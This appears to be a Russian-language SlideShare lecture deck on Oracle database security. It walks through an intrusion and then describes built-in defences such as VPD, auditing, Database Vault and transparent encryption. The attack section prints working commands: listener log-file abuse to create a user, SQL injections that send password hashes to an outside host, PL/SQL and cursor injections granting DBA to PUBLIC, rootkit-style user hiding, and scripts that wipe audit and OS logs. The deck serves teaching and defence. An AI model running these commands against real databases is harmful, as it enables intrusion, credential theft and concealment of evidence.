SlideShare una empresa de Scribd logo
1 de 73
Безопасность	
  БД	
  
Некоторые	
  факты	
  о	
  безопасности	
  БД	
  


•  Ежегодное	
  двухкратное	
  увеличение	
  объема	
  БД	
  (2011	
  год	
  ~	
  
   1800	
  экзабайт)	
  
•  Увеличивающиеся	
  объемы	
  утечек	
  данных	
  (утечка	
  более	
  300	
  
   млн.	
  записей	
  с	
  персональными	
  данными	
  за	
  2008	
  год,	
  рост	
  
   630%	
  за	
  3	
  года)	
  
•  Повышение	
  нормативных	
  требований	
  в	
  области	
  ИБ	
  
•  87%	
  БД	
  взломаны	
  через	
  уязвимости	
  ОС	
  
•  >	
  80%	
  атак	
  совершены	
  внутренними	
  нарушителями	
  
•  Раскрывается	
  менее	
  1%	
  атак,	
  совершенных	
  
   профессионалами	
  
•  Только	
  10%	
  стандартных	
  способов	
  взлома	
  становятся	
  
   общеизвестными	
  
•  Нетехнические	
  атаки	
  наиболее	
  эффективны	
  
Классификация	
  угроз	
  БД	
  


        Угрозы	
  бизнес-­‐
          процессов	
  

           Угрозы	
  
         приложений	
  


         Угрозы	
  СУБД	
  


           Угрозы	
  ОС	
  



            Угрозы	
  
          серверной	
  
         инфраструкту
              ры	
  
Сходство	
  СУБД	
  и	
  ОС	
  


В	
  СУБД	
  и	
  в	
  ОС	
  есть:	
  

•  пользователи	
  
•  процессы	
  
•  задания	
  (jobs)	
  
•  выполняемый	
  программный	
  код	
  
•  символьные	
  ссылки	
  (links)	
  

Если	
  СУБД	
  –	
  это	
  разновидность	
  ОС,	
  то:	
  

•  применимые	
  к	
  ОС	
  угрозы	
  применимы	
  и	
  к	
  СУБД	
  с	
  
   определенными	
  особенностями	
  
•  в	
  СУБД	
  есть	
  вирусы	
  
•  в	
  СУБД	
  есть	
  руткиты	
  
Этапы	
  процесса	
  взлома	
  СУБД	
  


                                  Проникновение	
  в	
                 Эскалация	
               Закрепление	
  в	
      Скрытие	
  следов	
  
Сбор	
  информации	
  
                                       СУБД	
                         полномочий	
                  системе	
            проникновения	
  



Определение:	
                    Определение:	
                  ü Эскалация	
               ü Внедрение	
           Удаление	
  следов	
  
                                                                  привилегий	
                 средств	
  для	
         проникновения	
  в	
  
ü ОС;	
                          ü SID	
  базы	
  данных;	
  
                                                                  текущего	
                   сокрытия	
               систему	
  из:	
  
ü доступных	
  служб;	
          ü имени	
                      пользователя	
  	
  до	
     посторонней	
            ü подсистемы	
  
ü версии	
  СУБД	
               пользователя	
  СУБД;	
         роли	
  DBA.	
               активности	
  в	
        аудита	
  СУБД;	
  
                                  ü пароля	
                     ü Получение	
               системе.	
  
ü конфигурации	
  	
                                                                                                   ü журналов	
  СУБД;	
  
СУБД;	
                           пользователя	
  СУБД.	
         пароля	
  
                                                                  пользователя	
                                        ü журналов	
  ОС.	
  
ü других	
  продуктов	
  и	
                                     обладающего	
  
сторонних	
                                                       ролью	
  DBA.	
  	
  
производителей.	
  
Способы проникновения в СУБД
Проникновение	
  в	
  СУБД	
  


                                                       Проникновение	
  в	
  СУБД	
  




                     Служба	
  Listener	
                                                       Web-­‐приложения	
  




   Определение	
  SID	
                                                     Определение	
  SID	
               Определение	
  SID,	
  
                                    Специфичные	
  атаки	
  на	
  
перебором	
  по	
  словарю/                                               поиском	
  в	
  настройках	
      пользователя	
  и	
  пароля	
  с	
  
                                           СУБД	
  
  полным	
  перебором	
                                                    Web	
  -­‐приложений	
           помощью	
  SQL-­‐инъекций	
  	
  



 Определение	
  имени	
  
                                    Определение	
  пароля	
  
     пользователя	
  
                                   перебором	
  по	
  словарю/
перебором	
  по	
  словарю/
                                     полным	
  перебором	
  	
  
  полным	
  перебором	
  
Пример	
  специфичной	
  для	
  СУБД	
  Oracle	
  Database	
  атаки	
  -­‐	
  
      создание	
  пользователя	
  через	
  set	
  log_file	
  
Изменение имени лог-файла службы TNS Listener на glogin.sql
tnscmd10g.pl --rawcmd “((DESCRIPTION=((CONNECT_DATA=(CID=
(PROGRAM=)(HOST=)(USER=))((COMMAND=LOGFILE)(ARGUMENTS=4)
(SERVICE=LISTENER)(VERSION=1)(VALUE=/u01/app/oracle/product/10.2.0/db_1/sqlplus/
admin/glogin.sql))” -h 10.0.116.175

Отправка ошибочной низкоуровневой команды службе TNS Listener
tnscmd10g.pl –h 10.0.116.175 –rawcmd “(CONNECT_DATA=((
set term off
create user dbhack identified by oracle_1
set term on
“

Изменение имени лог-файла службы TNS Listener на оригинальный
tnscmd10g.pl --rawcmd “((DESCRIPTION=((CONNECT_DATA=(CID=
(PROGRAM=)(HOST=)(USER=))((COMMAND=LOGFILE)(ARGUMENTS=4)
(SERVICE=LISTENER)(VERSION=1)(VALUE=/u01/app/oracle/product/10.2.0/db_1/network/
log/listener.log))” -h 10.0.116.175
SQL-­‐инъекции	
  в	
  Web-­‐приложениях	
  



                 •  Результат	
  выполнения	
  SQL-­‐инъекции	
  возвращается	
  в	
  браузер.	
  
                    Данные	
  могут	
  выводиться	
  в	
  стандартный	
  вывод	
  или	
  в	
  сообщение	
  
   Inband	
         об	
  ошибке	
  


                   •  Для	
  вывода	
  результата	
  выполнения	
  SQL-­‐инъекции	
  используются	
  
                      различные	
  каналы	
  такие,	
  как	
  HTTP,	
  DNS	
  и	
  т.д.	
  С	
  помощью	
  данного	
  
Out-­‐of-­‐Band	
   подхода	
  возможна	
  передача	
  большого	
  объема	
  данных.	
  



                 •  Различные	
  характеристики	
  запроса	
  такие,	
  как	
  время	
  выполнения/
    Blind	
         результат	
  используются	
  для	
  получения	
  данных	
  из	
  СУБД.	
  
Inband	
  SQL-­‐инъекции	
  
•  Метод основанный на использовании оператора UNION.
     Измененный URL-запрос:
   http://webapp.com/order.jsp?id=17' UNION SELECT name FROM TABLE--

   Запрос, сконструированный Web-приложением:
   SELECT * FROM table WHERE id=’17‘ UNION SELECT name FROM USERS--

•  Метод основанный на выводе результатов в сообщении об
ошибке.
     Замена строки на подзапрос для модификации сообщения об
     ошибке:
   http://webapp.com/order.cfm?id=17||utl_inaddr.get_host_name((select banner from v
   $version where rownum=1))

   Сообщение об ошибке:
   Message: Error Executing Database Query.
   Native error code: 29257
   Detail: [Macromedia][Oracle JDBC Driver][Oracle]
   ORA-29257: host Oracle Enterprise Edition 10.1.0.5 for Solaris unknown
   ORA-06512: at "SYS.UTL_INADDR", line 35
   ORA-06512: at "SYS.UTL_INADDR", line 35
   ORA-06512: at line 1
Out-­‐of-­‐Band	
  SQL-­‐инъекции	
  


Отправка результатов SQL-инъекции на внешний сайт с
помощью UTL_HTTP:
select utl_http.request ('http://www.sqlhack.com/'|| (select password
from dba_users where rownum=1)) from dual;

Отправка результатов SQL-инъекции на внешний сайт с
помощью HTTPURITYPE:
select HTTPURITYPE( 'http://www.sqlhack.com/'|| (select password
from dba_users where rownum=1) ).getclob() from dual;


Отправка результатов SQL-инъекции c помощью DNS-
запроса (макс. 64 байта):
select utl_http.request ('http://www.'||(select password from dba_users
where rownum=1)||'.sqlhack.com/' ) from dual;
DNS-запрос:
www.B3B4C4D878234234234.sqlhack.com
Blind	
  SQL-­‐инъекции	
  

Пример возможностей для Blind SQL-инъекций:
  •  DECODE:
  •  CASE.
Пример псевдокода при использовании разницы во
времени выполнения для получения информации:
If the first character of the sys-hashkey is a 'A‘ then
 select count(*) from all_objects
else
 select count(*) from dual
end if;

Пример:
select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from
dual;
Elapsed: 00:00:00.00
select decode(substr(user,1,1),'A',(select count(*) from all_objects),0) from
dual;
Elapsed: 00:00:22.50
Эскалация полномочий
Эскалация	
  привилегий	
  
                                        (специфично	
  для	
  СУБД)	
  

Основные	
  внутренние	
  уязвимости	
  СУБД	
  Oracle,	
  позволяющие	
  
эскалировать	
  привилегии	
  до	
  роли	
  DBA	
  или	
  получить	
  пароль	
  
пользователя	
  имеющего	
  роль	
  DBA:	
  	
  

  • 	
  PL/SQL-­‐инъекции;	
  
  • 	
  Cursor-­‐инъекции;	
  
  • 	
  Cursor	
  snarfing;	
  
  • 	
  Модификация	
  таблиц	
  доступных	
  только	
  на	
  чтение;	
  
  • 	
  UTL_TCP	
  +	
  TNL	
  Listener	
  	
  +	
  set	
  log_file;	
  
  • 	
  DBMS_SCHEDULER	
  +	
  SQLPLUS	
  /	
  AS	
  SYSDBA.	
  
PL/SQL-­‐инъекции	
  


Типовая PL/SQL-инъекция через пользовательскую функцию. Необходима
привилегия CREATE PROCEDURE.

CREATE OR REPLACE FUNCTION F1 return number
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC';
COMMIT;
RETURN 1;
END;
/
exec sys.kupw$WORKER.main('x','YY'' and 1=user12.f1 --
hitb2007');
Cursor-­‐инъекции	
  


Типовая Cursor-инъекция. Для реализации достаточно обладать
только ролью CONNECT.

DECLARE
MYC NUMBER;
BEGIN
MYC := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC,
'declare pragma autonomous_transaction;
begin execute immediate ''grant dba to public'';
commit;end;',0);
sys.KUPW$WORKER.MAIN('x',''' and 1=dbms_sql.execute('||
myc||')--');
END;
Cursor	
  snarfing	
  

Пример процедуры, некорректно                                      Пример кода извлекающего данные из
обрабатывающей курсор.                                             некорректно обработанного курсора.
CREATE OR REPLACE PROCEDURE GET_USERHASH(l_USER VARCHAR2) IS       DECLARE
  CURSOR_NAME INTEGER;                                               CURSOR_NAME INTEGER;
  v_HASH VARCHAR2(32);                                               i_CNT INTEGER;
  i_CNT INTEGER;                                                     v_HASH VARCHAR2(30);
BEGIN                                                              BEGIN
  IF l_USER != 'SYS' THEN                                            CURSOR_NAME := 9;
       CURSOR_NAME := DBMS_SQL.OPEN_CURSOR;                          DBMS_SQL.BIND_VARIABLE(CURSOR_NAME,
       DBMS_OUTPUT.PUT_LINE('CURSOR NAME:                                                            ':i','SYS');
                            '||CURSOR_NAME);                         DBMS_SQL.DEFINE_COLUMN(CURSOR_NAME,
       DBMS_SQL.PARSE(CURSOR_NAME,'SELECT PASSWORD                                                   1,v_HASH,30);
                      FROM SYS.DBA_USERS WHERE                       i_CNT := DBMS_SQL.EXECUTE(CURSOR_NAME);
                      USERNAME = :i',                                IF DBMS_SQL.FETCH_ROWS(CURSOR_NAME) > 0
                      DBMS_SQL.NATIVE);                              THEN
       DBMS_SQL.BIND_VARIABLE(CURSOR_NAME,                                DBMS_SQL.COLUMN_VALUE(CURSOR_NAME,
                              ':i',l_USER);                                                     1,v_HASH);
       DBMS_SQL.DEFINE_COLUMN(CURSOR_NAME,                           END IF;
                              1,v_HASH,30);                          DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME);
       i_CNT := DBMS_SQL.EXECUTE(CURSOR_NAME);                       DBMS_OUTPUT.PUT_LINE('HASH: '||v_HASH);
       IF DBMS_SQL.FETCH_ROWS(CURSOR_NAME) > 0 THEN                END;
         DBMS_SQL.COLUMN_VALUE(CURSOR_NAME,1,v_HASH);
         DBMS_OUTPUT.PUT_LINE('HASH: '||v_HASH);
       END IF;
       DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME);
  END IF;
END;
Модификация	
  таблиц	
  доступных	
  только	
  на	
  чтение	
  



При использовании специальным образом созданных
представлений возможно выполнение операций INSERT/
DELETE/UPDATE над таблицами, доступными только для
операции SELECT.

CREATE VIEW V_HTABLE AS
SELECT a.* FROM SYS.HTABLE a, SYS.HTABLE b
WHERE a.id = b.id;

INSERT INTO V3_HTABLE(ID,TEXT) VALUES (3,'TEXT 3');
COMMIT;
Способы закрепления в СУБД
Закрепление	
  в	
  системе	
  


Руткит – программа или набор программ для скрытия
следов присутствия злоумышленника или вредоносной
программы в системе.
Три поколения руткитов:
  q  Первое поколение
      Изменения в словарях данных (модификация
      представлений и процедур/изменение синонимов).

  q  Второе поколение
      Модификация бинарных файлов.
  q  Третье поколение
      Модификация данных непосредственно в серверной памяти
      (использование API, позволяющего модифицировать данные
      в памяти).
Руткиты	
  первого	
  поколения	
  	
  
               (скрытие	
  пользователей	
  базы	
  данных)	
  
Создание пользователя.
SQL> create user hacker identified by hacker;
SQL> grant dba to hacker;

Список пользователей
SQL> select username from dba_users;
USERNAME
------------------------------
DBSNMP
EXFSYS
HACKER
ORDSYS
SYS
SYSTEM
[…]
Руткиты	
  первого	
  поколения	
  	
  
(скрытие	
  пользователей	
  базы	
  данных)	
  
Enterprise Manager (Java) Database
           Control (Web)
Руткиты	
  первого	
  поколения	
  	
  
           (скрытие	
  пользователей	
  базы	
  данных)	
  
Добавляем дополнительное условие в представление
                SYS.DBA_USERS
Руткиты	
  первого	
  поколения	
  	
  
(скрытие	
  пользователей	
  базы	
  данных)	
  

Enterprise Manager (Java) Database
           Control (Web)
Руткиты	
  второго	
  поколения	
  	
  
        (Модификация	
  бинарных	
  файлов	
  СУБД)	
  

При попытки входа в систему процесс СУБД считывает
 аутентификационные данные из таблицы sys.user$ и
сравнивает их с данными введенными пользователем.
Руткиты	
  второго	
  поколения	
  	
  
          (Модификация	
  бинарных	
  файлов	
  СУБД)	
  

Заменяем в системном бинарном файле СУБД все вхождения
               строки sys.user$ на sys.аser$.
Руткиты	
  второго	
  поколения	
  	
  
             (Модификация	
  бинарных	
  файлов	
  СУБД)	
  

Администраторы безопасности и утилиты, используемые
для анализа безопасности, проверяют таблицу sys.user$.
Системный процесс СУБД использует таблицу sys.aser$,
         содержащую скрытого пользователя.
Скрытие следов проникновения
Скрытие	
  следов	
  проникновения	
  

Использование специального комментария в запросах для упрощения
поиска записей в таблицах аудита.
select /* HITB2007 */ * from dba_users;

Удаление записей, содержащих запросы, помеченные специальным
комментарием, из таблиц аудита (sys.aud$, sys.fga_log$)
delete from sys.aud$ where lower(sqltext) like ‘%hitb2007%’;


Удаление записей из журнала ОС специальным скриптом запущенным
с помощью DBMS_SCHEDULER.
Option Explicit
On Error Resume Next
Dim LogType, EventLog, Entry
Set EventLog = GetObject("winmgmts:
{impersonationLevel=impersonate}").ExecQuery _("select * from
Win32_NTEventLogFile where LogfileName='Application'")
For each Entry in EventLog
Entry.ClearEventlog()
Next
WScript.Quit

Очистка лога DBMS_SCHEDULER.
exec DBMS_SCHEDULER.PURGE_LOG;
Методы защиты СУБД
Методы	
  защиты	
  СУБД	
  


                                          Защита	
  серверной	
  инфраструктуры	
  и	
  ОС	
  




                                                                    Защита	
  СУБД	
  
   Безопасное	
          Функции	
  и	
  опции	
        Межсетевое	
                                                              Криптографическая	
  
конфигурирование	
      безопасности	
  СУБД	
         экранирование	
           Database	
  firewall	
        Аудит	
               защита	
  данных	
  




                                                             Защита	
  приложений	
  
                                                       Безопасное	
  кодирование	
  и	
  стандарты	
  
        Инспекция	
  скриптов	
  БД	
                                 разработки	
                                Параметры	
  приложений	
  




                                                      Управление	
  безопасностью	
  
   Контроль	
  целостности	
                  Аудит	
  событий	
  ИБ	
           Управление	
  полномочиями	
             Работа	
  с	
  персоналом	
  
Функции безопасности СУБД Oracle Database
Механизмы разграничения доступа



            •  Дискреционное разграничение
                        доступа
              •  Виртуальные частные БД
                  (VPD, FGAC, RLS, CLS)

БД Oracle
Дискреционное разграничение доступа

                     БД Oracle


                             Объектные
                             привилегии

                Системные
                привилегии



 Пользователи
Объектные привилегии
Роли и привилегии
Хранимые процедуры
Представления (view)
Fine-Grained Access Control (VPD)
Fine-Grained Access Control (VPD)
 Ограничение	
  доступа	
  к	
  строкам	
  (FGAC	
  RLS)	
  




Ограничение	
  доступа	
  к	
  столбцам	
  (FGAC	
  CLS)	
  
Виртуальные частные БД
 Исходный запрос
                                               Проверка VPD:
                                               таблица: orders
SELECT *                                       DML: SELECT
  FROM orders

1) Пользователь выполняет запрос   2) Oracle проверяет наличие VPD-
                                   правила для данной таблицы

      Правило                      Измененный запрос
                                   SELECT *
return ‘deptno =                     FROM orders
  sys_context(‘‘emp_ctx‘‘,           WHERE (deptno=sys_context
  ‘‘dept_no‘‘)‘;                     (‘epm_ctx‘,‘dept_no‘)


3) вызывается ф-ция myApp_SelPol   4) Oracle модифицировал запрос в
                                   соответствии с VPD-правилом
Встроенные возможности
                протоколирования и аудита

•  Обязательный	
  аудит	
  
•  Аудит	
  Базы	
  Данных	
  
•  Value-­‐based	
  audi‡ng	
  (триггеры	
  БД)	
  
•  Fine-­‐grained	
  audi‡ng	
  (FGA)	
  
Аудит пользователей SYSDBA и
                        SYSOPER

•  Пользователи	
  DBA	
  могут	
  быть	
  подключены	
  к	
  закрытой	
  БД	
  
   –	
  хранилище	
  аудита	
  должно	
  быть	
  вне	
  БД	
  
	
  


•  Соединения	
  как	
  SYSDBA	
  /	
  SYSOPER	
  всегда	
  
   протоколируются	
  
	
  


•  Включается	
  дополнительное	
  протоколирование	
  действий	
  
   DBA	
  с	
  audit_sys_opera‡ons	
  
•  Хранилище	
  журнала	
  аудита	
  задается	
  audit_file_dest.	
  По	
  
       умолчанию:	
  
   	
  -­‐	
  $ORACLE_HOME/rdbms/audit	
  (UNIX/Linux)	
  
   	
  -­‐	
  Windows	
  Event	
  Log	
  (Windows)	
  
Стандартный аудит БД

•  Протоколирование	
  использования	
  
   привилегий	
  пользователями	
  для	
  
   осуществления	
  доступа.	
  
•  Настраивается	
  командами	
  AUDIT	
  /	
  NOAUDIT	
  
•  Журнал	
  хранится	
  в	
  SYS.AUD$.	
  Доступ	
  через	
  
   представления	
  (DBA_AUDIT_TRAIL)	
  
FGA-аудит
(аудит доступа к ячейкам таблицы)
Сравнение инструментов аудита
Опции безопасности Oracle Database
Опции безопасности Oracle Database


  Oracle Database Vault

  Oracle Label Security

Oracle Advanced Security
Oracle Database Vault


ограничение	
  доступа	
  к	
  данным	
  приложений	
  со	
  стороны	
  администраторов	
  
базы	
  данных	
  (DBA)	
  	
  

ограничение	
  полномочий	
  схем-­‐владельцев	
  объектов	
  

обеспечение	
  доступа	
  к	
  данным	
  на	
  основе	
  динамически	
  настраиваемых	
  
правил,	
  зависящих	
  от	
  различных	
  факторов	
  (IP-­‐адреса,	
  время,	
  метки	
  OLS)	
  

разные	
  полномочия	
  в	
  зависимости	
  от	
  работающего	
  приложения	
  (secure	
  
applica}on	
  role)	
  	
  

разделение	
  полномочий	
  пользователей	
  в	
  соответствии	
  с	
  их	
  
функциональными	
  обязанностями	
  и	
  внутренний	
  контроль	
  
Функциональные элементы
                                Защищенные области



Мониторинг

                                           Многофакторная
                                            авторизация


      Аудит



        Динамическая                   Разграничение
настройка правил безопасности   по служебным обязанностям
Учетные записи
         DV_OWNER и DV_ACCTMGR

        DV_OWNER:                   DV_ACCTMGR:
•  Соединение с Database Vault     •  Создание учетных
        Administrator            записей пользователей
•  Модификация конфигурации      •  Управление паролями
        Database Vault                учетных записей
                                       пользователей
  •  Отключение компонент
     безопасности / аудита
Пример использования
            защищенных областей
Администратор БД (ADM_DBA)
    обращается к данным
         в схеме HR               select * from HR.emp
                              ADM_DBA
 Соответствие нормативным
 требованиям и стандартам
    внутреннего аудита
                                                     HR
                                                     HR
 Пользователь HR_DBA          HR_DBA
   обращается к данным
  в схеме FIN или желает
     получить доступ к
       области HR во                                 FIN
     внерабочее время                                FIN
                              FIN_DBA
  Безопасная консолидация
приложений на одном сервере
Создание защищенной области
                         HR_DBA
Создание DBA роли
                                                         REALM
create role HR_DBA
                                     Имя: Области
   grant dba to
                                Текстовый комментарий
      HR_DBA
                            Статус использования: Да / Нет
  Создание области
                        Опции аудита: Нет / При ошибках / Всегда
   CREATE_REALM

   Определение
                           Имя: Схемы объекта
списка защищаемых    Тип объекта: TABLE,ROLE,VIEW…
     объектов                 Имя: Объекта
ADD_OBJECT_TO_REAL
         M

    Определение             Имя: Пользователя или Роли
                       Тип Пользователя: Участник / Владелец
 списка защищаемых    Зависимость типа авторизации от правил
   пользователей
 ADD_AUTH_TO_REALM
Правила выполнения команд
Запрет	
  использования	
  
 •  DDL	
  выражений	
  (команд)	
  
 •  Для	
  указанных	
  или	
  всех	
  объектов	
  

Результат	
  контроля	
  регистрируется	
  в	
  данных	
  аудита	
  

Потенциальные	
  возможности	
  применения	
  
 •  Разрешение	
  применения	
  команд	
  в	
  соответствии	
  с	
  функциональными	
  
    обязанностями	
  (если	
  DBA	
  не	
  должен	
  управлять	
  пользователями,	
  то	
  
    команды	
  CREATE	
  USER,	
  ALTER	
  USER	
  запрещаются)	
  
 •  Как	
  инструмент	
  организации	
  бизнес-­‐процедур	
  
    •  Запрет	
  использования	
  управляющих	
  DDL	
  команд	
  в	
  отношении	
  
       используемых	
  таблиц	
  в	
  «рабочие	
  часы»	
  
    •  Сохранение	
  структуры	
  защищаемых	
  данных	
  и	
  контроль	
  (аудит)	
  за	
  
       проводимыми	
  в	
  них	
  изменениями	
  (отвечает	
  требованиям	
  SOX	
  или	
  HIPPA)	
  
Контролируемые команды
	
  Alter	
  Database        	
  Alter	
  Database            	
  Alter	
  Table	
  
Alter	
  Func}on             	
  Audit            	
          	
  Alter	
  Tablespace	
  
Alter	
  Package	
  Body     	
  Alter	
  Procedure           	
  Alter	
  Profile	
  
Alter	
  Session             	
  Alter	
  System              	
  Alter	
  Synonym	
  
Alter	
  Table 	
            	
  Alter	
  Trigger             	
                       	
  Alter	
  User	
  
Password 	
                  	
  Alter	
  Tablespace          	
  Alter	
  View	
  
Change	
  Password           	
  Connect          	
          	
  Comment	
  
Create	
  Func}on            	
  Create	
  Index              	
  Create	
  Package	
  
Create	
  Database	
  Link   	
  Create	
  Procedure          	
  Create	
  Role	
  
Create	
  Package	
  Body    	
  Create	
  User	
             	
  Create	
  View	
  
Create	
  Table              	
                   	
  Grant   	
                       	
  Insert	
  
Noaudit           	
         	
  Rename           	
          	
  Lock	
  Table	
  
Create	
  Tablespace         	
  Create	
  Trigger            	
  Truncate	
  Table	
  
Update            	
         	
  Insert           	
          	
  Delete	
  
Execute           	
         	
  Select	
  
Группы правил
                                                     create_rule_set
      Rule_set              Создание группы Правил
    группа Правил
                                                            create_rule
                          Rule A
                         правило          Создание Правила «А»


                          Rule B
                         правило          Создание Правила «B»


                          Rule C
                         правило          Создание Правила «C»
  Создание СПИСКА
       правил                                  Опции
                                 ü результат (ALL true или ANY true)
(в порядке выполнения)
                           ü отображение сообщения об ошибке и его текст
        в группе
                               ü использование Custom Event Handler
add_rule_to_rule_set
Факторы
Базовые	
  блоки	
  для	
  реализации	
  мандатного	
  способа	
  доступа	
  (MAC)	
  
 •  Доступны	
  в	
  приложениях	
  через	
  PL/SQL	
  функции	
  
 •  Используются	
  при	
  создании	
  Oracle	
  Database	
  Vault	
  для	
  обеспечения	
  безопасности	
  
    приложений	
  
 •  Администратор	
  может	
  управлять	
  Oracle	
  Database	
  Vault	
  MAC	
  с	
  использованием	
  
    GUI	
  или	
  PL/SQL	
  API	
  
 •  Защита	
  данных	
  и	
  аудит	
  нарушений	
  требований	
  политик	
  безопасности,	
  бизнес-­‐
    процедур.	
  (SOX,HIPPA)	
  
Атрибуты	
  и	
  опции	
  конфигурации	
  
 •  Retrieval	
  Method	
  –	
  PL/SQL	
  выражение	
  (функция)	
  
 •  Valida}on	
  Method	
  –	
  PL/SQL	
  выражение	
  (функция)	
  
 •  Iden}fied	
  By	
  –	
  интеграция	
  с	
  другими	
  факторами	
  
 •  Labeled	
  By	
  –	
  интеграция	
  с	
  Oracle	
  Label	
  Security	
  или	
  VPD	
  
Предопределенные факторы

Authentication    Session                   Database
                               Client IP     Name
   Method          User

                               Database     Database
   Domain         Machine
                                Name        Instance

                                              Proxy
  Network                      Enterprise
                 Database IP                Enterprise
  Protocol                      Identity     Identity

                 Database
  Language       Hostname        Date         Time
Secure application role


secure	
  applica}on	
  role	
  –	
  это	
  роль	
  БД,	
  которую	
  можно	
  
включить	
  только	
  используя	
  специальную	
  PL/SQL	
  процедуру	
  

Database	
  Vault	
  Administrator	
  может	
  создать	
  роли,	
  включение	
  
которых	
  зависит	
  от	
  определенных	
  наборов	
  правил	
  

приложения	
  могут	
  использовать	
  Database	
  Vault	
  API	
  для	
  
установки	
  роли	
  

с	
  ролью	
  могут	
  быть	
  ассоциированы	
  необходимые	
  
привилегии	
  
Использование Secure Application Role
Мониторинг
Oracle Label Security

Эффективное	
  средство	
  обеспечения	
  доступа	
  на	
  уровне	
  строк	
  

Отвечает	
  строгим	
  требованиям	
  государственных	
  и	
  коммерческих	
  организаций	
  

Данным	
  присваиваются	
  специальные	
  метки	
  

Гибкая	
  настройка	
  с	
  помощью	
  GUI	
  или	
  API	
  	
  

Нет	
  необходимости	
  кодировать	
  логику	
  на	
  PL/SQL	
  

Политика	
  безопасности	
  выборочна	
  и	
  применяется	
  когда	
  необходимо	
  

Гранулированность	
  меток	
  

Соответствует	
  ISO/IEC	
  15408	
  Common	
  Criteria	
  EAL	
  
Политики безопасности

Политика	
  –	
  имя,	
  ассоциированное	
  с	
  набором	
  меток	
  для	
  авторизации	
  пользователей	
  и	
  
защищаемых	
  объектов	
  

В	
  одной	
  базе	
  данных	
  с	
  OLS	
  может	
  быть	
  определено	
  множество	
  политик	
  

Каждая	
  политика	
  ассоциируется	
  с	
  уникальным	
  именем	
  столбца	
  защищаемой	
  таблицы,	
  
который	
  добавляется	
  в	
  защищаемую	
  таблицу	
  (может	
  использоваться	
  имеющийся	
  столбец)	
  
  •  столбец	
  может	
  быть	
  скрыт	
  
  •  тип	
  данных	
  столбца	
  -­‐	
  number(10)	
  

Политики	
  применимы	
  к	
  таблицам	
  и	
  схемам	
  
Мандатное разграничение доступа
               Структура метки:
               •  уровень (несекретно,
               конфиденциально,
               секретно, сов.секретно,
               особой важности)
               •  категория (финансовая,
               административная,
               военная)
               •  группа (руководство,
               рядовые сотрудники)

                      Пример метки:
                    TS:FIN,ADM:CHIEF
Мандатное разграничение доступа




Пояснение: группа WR_SAL входит в группу WR
Oracle Advanced Security
•  Прозрачное шифрование данных в БД (TDE)
•  Поддержка взаимной аутентификации
•  Поддержка single sign-on
•  Поддерживает следующих технологий аутентификации:
   - Public key infrastructure (PKI)
   - RADIUS
   - Kerberos
   - Token и smart карты
   - Biometrics
   - Distributed Computing Environment
•  Интегрировано с Oracle Net Services
Особенности прозрачного
       шифрования данных в БД (TDE)
                Приложение            Шифрование
                                        данных,
                                      передаваемых
                                         по сети




При записи данных они               Преобразование данных
      преобразуются к                к простому формату
защищенному формату                      при чтении
                                  Резервные копии данных
                             сохраняются в защищенном формате
Права доступа
       Пароль для доступа к данным
    отличается от System и DBA паролей


                Нет доступа к wallet


Database DBA




                                         Доступ к данным
                          Мастер-ключ       разрешен
               Пароль
Ключи
                     Ключи для колонок защищены
                           мастер-ключем


Мастер-ключ хранится
  в PKCS#12 wallet




                          Защищенные
                         колонки таблиц
Создание ключа шифрования

Создать wallet и сгенерировать мастер-ключ:

  alter system set key identified by “oracle_1”



 Открыть wallet:

      alter system set wallet open identified
                   by “oracle_1”
Защита колонок

Защита колонки в существующей таблице:

         alter table credit_rating modify
               (person_id encrypt);


Создание новой таблицы с защищенной колонкой:

              create table orders (
          order_id         number (12),
          customer_id      number(12),
     credit_card      varchar2(16) encrypt);
Индексирование для защищенных
               колонок


          Alter table credit_rating modify
            (person_id encrypt no salt)


     Create index person_id_idx on credit_rating
                     (PERSON_ID)


           Select score from credit_rating
              where PERSON_ID='235901';

Не требуется изменять приложение
Алгоритмы шифрования
Алгоритм защиты по умолчанию - AES 192-bit

                 alter table credit_rating modify
                       (person_id encrypt);

   Создание новой таблицы с использованием
    других алгоритмов защиты:

                     create table employee (
                   first_name varchar2(64),
                last_name          varchar2(64),
          empID NUMBER encrypt using ‘AES256’,
         salary NUMBER(6) encrypt using ‘AES256‘)

Más contenido relacionado

La actualidad más candente

Особенности проведения тестов на проникновение в организациях банковской сферы
Особенности проведения тестов на проникновение в организациях банковской сферыОсобенности проведения тестов на проникновение в организациях банковской сферы
Особенности проведения тестов на проникновение в организациях банковской сферы
Digital Security
 
введение в проблематику Pa dss
введение в проблематику Pa dssвведение в проблематику Pa dss
введение в проблематику Pa dss
Informzaschita
 
безопасность веб проектов сергей рыжиков
безопасность веб проектов   сергей рыжиковбезопасность веб проектов   сергей рыжиков
безопасность веб проектов сергей рыжиков
Media Gorod
 
безопасность
безопасностьбезопасность
безопасность
Shoplist
 
DUMP-2012 - Веб-разработка - "Что мы знаем о производительности и безопасност...
DUMP-2012 - Веб-разработка - "Что мы знаем о производительности и безопасност...DUMP-2012 - Веб-разработка - "Что мы знаем о производительности и безопасност...
DUMP-2012 - Веб-разработка - "Что мы знаем о производительности и безопасност...
it-people
 
Ключевые особенности сертификации по PA-DSS
Ключевые особенности сертификации по PA-DSSКлючевые особенности сертификации по PA-DSS
Ключевые особенности сертификации по PA-DSS
Digital Security
 
Инфоберег. Будущее аутентификации - сегодня
Инфоберег. Будущее аутентификации - сегодняИнфоберег. Будущее аутентификации - сегодня
Инфоберег. Будущее аутентификации - сегодня
Евгений Царев
 
Аутентификация
АутентификацияАутентификация
Аутентификация
Elena_dm
 
Postroenie kompleksnoj sistemy obespechenija informacionnoj bezopasnosti v vi...
Postroenie kompleksnoj sistemy obespechenija informacionnoj bezopasnosti v vi...Postroenie kompleksnoj sistemy obespechenija informacionnoj bezopasnosti v vi...
Postroenie kompleksnoj sistemy obespechenija informacionnoj bezopasnosti v vi...
vGate R2
 

La actualidad más candente (20)

Особенности проведения тестов на проникновение в организациях банковской сферы
Особенности проведения тестов на проникновение в организациях банковской сферыОсобенности проведения тестов на проникновение в организациях банковской сферы
Особенности проведения тестов на проникновение в организациях банковской сферы
 
введение в проблематику Pa dss
введение в проблематику Pa dssвведение в проблематику Pa dss
введение в проблематику Pa dss
 
Безопасность CMS
Безопасность CMSБезопасность CMS
Безопасность CMS
 
безопасность веб проектов сергей рыжиков
